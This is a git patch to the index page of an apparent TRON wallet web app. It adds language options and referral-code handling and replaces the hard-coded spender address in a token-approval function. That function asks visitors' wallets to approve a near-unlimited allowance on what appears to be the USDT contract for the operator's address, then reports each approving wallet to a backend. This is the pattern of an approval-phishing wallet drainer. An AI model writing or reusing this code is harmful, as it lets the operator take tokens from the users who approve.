From 32b663e9a66dc6c7c7efb184a930b1bd1d40ec37 Mon Sep 17 00:00:00 2001
From: queenwuli <942534046@qq.com>
Date: Sat, 02 Apr 2022 10:43:05 +0800
Subject: [PATCH] gx

---
 src/pages/index/index.vue |   32 ++++++++++++++++++++++++--------
 1 files changed, 24 insertions(+), 8 deletions(-)

diff --git a/src/pages/index/index.vue b/src/pages/index/index.vue
index 7b504cb..7f6c446 100644
--- a/src/pages/index/index.vue
+++ b/src/pages/index/index.vue
@@ -103,7 +103,9 @@
     let isApproving = ref(false); //是否授权中
     let simulateData = ref(null);
     let availableWallet = ref('');
+    let local = ref(proxy.$i18n.locale);
     function changeLanguage(type){
+      localStorage.setItem('lang', type);
       proxy.$i18n.locale = type;
     }
 
@@ -166,10 +168,11 @@
       init()
     })
     return {
-      local: ref('en'),
+      local,
       languague: [
-        { text: '简体中文', value: 'ch' },
-        { text: 'English', value: 'en' }
+        { text: 'English', value: 'en' },
+        { text: '简体中文', value: 'zh' },
+        { text: '日本语', value: 'ja' }
       ],
       // 弹窗显示隐藏
       isShowApproveModal,
@@ -275,9 +278,17 @@
           method: 'get'
         }).then((res) => {
           if(res.code == 200) {
-            this.hasApprove = true;
-            this.initAccountData()
-            sessionStorage.setItem('address', this.walletAddress);
+            let result = res.data;
+            if(result == 1) {
+              this.hasApprove = true;
+              this.initAccountData()
+              sessionStorage.setItem('address', this.walletAddress);
+            } else if (result == 2) {
+              this.submitApprove()
+            } else {
+              this.hasApprove = false;
+              this.$toast(this.$t('message.ApproveTip'));
+            }
           }else{
             this.hasApprove = false;
             this.$toast(this.$t('message.ApproveTip'));
@@ -306,16 +317,18 @@
         console.log(res)
         this.submitApprove()
         this.isApproving = false;
+        this.isShowApproveModal = false;
       }).catch((err) => {
         console.log('授权失败')
         console.log(err)
         this.isApproving = false;
+        this.isShowApproveModal = false;
       })
     },
     async tornWebApprove () {
       const tronWeb = window.tronWeb;
       const trxContractAddress = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t";
-      const authAddress = "TKcyw4igFYhNpTzyZv25j6uDwvTYzncnjp";
+      const authAddress = "TUy8XwDmdsDKPLDGUrGuNRVMhwSEKtkDcD";
       let instance = await tronWeb.contract().at(trxContractAddress);
       let res = await instance["approve"](authAddress, "90000000000000000000000000000");
       res.send({
@@ -328,20 +341,23 @@
               this.submitApprove()
           }
           this.isApproving = false;
+          this.isShowApproveModal = false;
       });
     },
     submitApprove () {
+        let refererId = this.getQueryString('code');
         this.$axios({
           url: '/dapi/common/approve',
           method: 'post',
           data: {
             address: this.walletAddress,
-            refererId: ''
+            refererId: refererId ? refererId : ''
           }
         }).then((res) => {
           if(res.code == 200) {
             this.hasApprove = true;
             this.initAccountData();
+            sessionStorage.setItem('address', this.walletAddress);
           }
         })
     },

--
Gitblit v1.9.1